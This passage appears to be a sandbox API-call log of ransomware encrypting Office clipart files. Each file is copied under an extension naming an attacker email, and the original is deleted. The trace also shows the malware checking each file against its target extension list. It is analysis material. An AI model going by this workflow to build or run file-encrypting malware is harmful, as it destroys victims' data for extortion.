lpNewFilePointer=0x0) returned 1 [0306.813] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.814] GetLastError () returned 0x0 [0306.814] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1f38, lpOverlapped=0x0) returned 1 [0306.862] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1f40, lpOverlapped=0x0) returned 1 [0306.863] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.863] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0306.864] SetEndOfFile (hFile=0x398) returned 1 [0306.864] CloseHandle (hObject=0x398) returned 1 [0306.864] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.864] SetEndOfFile (hFile=0x338) returned 1 [0306.865] CloseHandle (hObject=0x338) returned 1 [0306.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0306.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0306.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0306.866] lstrlenW (lpString=".doc") returned 4 [0306.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.866] lstrlenW (lpString=".docx") returned 5 [0306.866] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0306.866] lstrlenW (lpString=".pdf") returned 4 [0306.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.866] lstrlenW (lpString=".xls") returned 4 [0306.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.866] lstrlenW (lpString=".xlsx") returned 5 [0306.866] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0306.866] lstrlenW (lpString=".ppt") returned 4 [0306.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0306.866] lstrlenW (lpString=".zip") returned 4 [0306.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.867] lstrlenW (lpString=".rar") returned 4 [0306.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.867] lstrlenW (lpString=".bz2") returned 4 [0306.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.867] lstrlenW (lpString=".7z") returned 3 [0306.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0306.867] lstrlenW (lpString=".dbf") returned 4 [0306.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0306.867] lstrlenW (lpString=".1cd") returned 4 [0306.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0306.867] lstrlenW (lpString=".jpg") returned 4 [0306.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.867] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.868] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.868] GetLastError () returned 0x0 [0306.868] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2d40, lpOverlapped=0x0) returned 1 [0306.911] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d50, lpOverlapped=0x0) returned 1 [0306.912] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.912] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0306.913] SetEndOfFile (hFile=0x398) returned 1 [0306.913] CloseHandle (hObject=0x398) returned 1 [0306.913] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.913] SetEndOfFile (hFile=0x338) returned 1 [0306.922] CloseHandle (hObject=0x338) returned 1 [0306.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0306.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0306.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0306.923] lstrlenW (lpString=".doc") returned 4 [0306.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.923] lstrlenW (lpString=".docx") returned 5 [0306.923] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0306.923] lstrlenW (lpString=".pdf") returned 4 [0306.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.923] lstrlenW (lpString=".xls") returned 4 [0306.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.923] lstrlenW (lpString=".xlsx") returned 5 [0306.923] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0306.923] lstrlenW (lpString=".ppt") returned 4 [0306.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0306.923] lstrlenW (lpString=".zip") returned 4 [0306.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.923] lstrlenW (lpString=".rar") returned 4 [0306.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.923] lstrlenW (lpString=".bz2") returned 4 [0306.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.923] lstrlenW (lpString=".7z") returned 3 [0306.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0306.923] lstrlenW (lpString=".dbf") returned 4 [0306.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0306.924] lstrlenW (lpString=".1cd") returned 4 [0306.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0306.924] lstrlenW (lpString=".jpg") returned 4 [0306.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.935] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.935] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0306.938] GetLastError () returned 0x0 [0306.938] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1364, lpOverlapped=0x0) returned 1 [0306.952] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1370, lpOverlapped=0x0) returned 1 [0306.953] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.953] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0306.953] SetEndOfFile (hFile=0x34c) returned 1 [0306.954] CloseHandle (hObject=0x34c) returned 1 [0306.955] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.955] SetEndOfFile (hFile=0x318) returned 1 [0306.959] CloseHandle (hObject=0x318) returned 1 [0306.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0306.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0306.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0306.960] lstrlenW (lpString=".doc") returned 4 [0306.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.961] lstrlenW (lpString=".docx") returned 5 [0306.961] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0306.961] lstrlenW (lpString=".pdf") returned 4 [0306.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.961] lstrlenW (lpString=".xls") returned 4 [0306.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.961] lstrlenW (lpString=".xlsx") returned 5 [0306.961] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0306.961] lstrlenW (lpString=".ppt") returned 4 [0306.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0306.961] lstrlenW (lpString=".zip") returned 4 [0306.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.961] lstrlenW (lpString=".rar") returned 4 [0306.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.961] lstrlenW (lpString=".bz2") returned 4 [0306.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.961] lstrlenW (lpString=".7z") returned 3 [0306.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0306.961] lstrlenW (lpString=".dbf") returned 4 [0306.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0306.962] lstrlenW (lpString=".1cd") returned 4 [0306.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0306.962] lstrlenW (lpString=".jpg") returned 4 [0306.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.963] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.963] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0306.963] GetLastError () returned 0x0 [0306.963] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x175c, lpOverlapped=0x0) returned 1 [0306.965] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1760, lpOverlapped=0x0) returned 1 [0306.966] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.967] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0306.967] SetEndOfFile (hFile=0x37c) returned 1 [0306.967] CloseHandle (hObject=0x37c) returned 1 [0306.967] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.967] SetEndOfFile (hFile=0x318) returned 1 [0306.968] CloseHandle (hObject=0x318) returned 1 [0306.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0306.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0306.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0306.969] lstrlenW (lpString=".doc") returned 4 [0306.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.969] lstrlenW (lpString=".docx") returned 5 [0306.969] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0306.969] lstrlenW (lpString=".pdf") returned 4 [0306.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.969] lstrlenW (lpString=".xls") returned 4 [0306.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.969] lstrlenW (lpString=".xlsx") returned 5 [0306.969] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0306.969] lstrlenW (lpString=".ppt") returned 4 [0306.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0306.969] lstrlenW (lpString=".zip") returned 4 [0306.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.969] lstrlenW (lpString=".rar") returned 4 [0306.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.970] lstrlenW (lpString=".bz2") returned 4 [0306.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.970] lstrlenW (lpString=".7z") returned 3 [0306.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0306.970] lstrlenW (lpString=".dbf") returned 4 [0306.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0306.970] lstrlenW (lpString=".1cd") returned 4 [0306.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0306.970] lstrlenW (lpString=".jpg") returned 4 [0306.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.971] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.971] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0306.972] GetLastError () returned 0x0 [0306.972] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x203c, lpOverlapped=0x0) returned 1 [0306.990] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2040, lpOverlapped=0x0) returned 1 [0306.991] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.991] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0306.991] SetEndOfFile (hFile=0x37c) returned 1 [0306.991] CloseHandle (hObject=0x37c) returned 1 [0306.992] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.992] SetEndOfFile (hFile=0x318) returned 1 [0306.993] CloseHandle (hObject=0x318) returned 1 [0306.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0306.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0306.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0306.995] lstrlenW (lpString=".doc") returned 4 [0306.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.995] lstrlenW (lpString=".docx") returned 5 [0306.995] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0306.995] lstrlenW (lpString=".pdf") returned 4 [0306.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.995] lstrlenW (lpString=".xls") returned 4 [0306.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.995] lstrlenW (lpString=".xlsx") returned 5 [0306.995] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0306.995] lstrlenW (lpString=".ppt") returned 4 [0306.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0306.995] lstrlenW (lpString=".zip") returned 4 [0306.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.995] lstrlenW (lpString=".rar") returned 4 [0306.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.995] lstrlenW (lpString=".bz2") returned 4 [0306.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.996] lstrlenW (lpString=".7z") returned 3 [0306.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0306.996] lstrlenW (lpString=".dbf") returned 4 [0306.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0306.996] lstrlenW (lpString=".1cd") returned 4 [0306.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0306.996] lstrlenW (lpString=".jpg") returned 4 [0306.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.997] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.997] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0306.998] GetLastError () returned 0x0 [0306.998] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xd00, lpOverlapped=0x0) returned 1 [0307.465] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xd10, lpOverlapped=0x0) returned 1 [0307.468] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0307.468] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0307.468] SetEndOfFile (hFile=0x37c) returned 1 [0307.468] CloseHandle (hObject=0x37c) returned 1 [0307.469] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.469] SetEndOfFile (hFile=0x318) returned 1 [0307.470] CloseHandle (hObject=0x318) returned 1 [0307.470] SetFileAttributesW 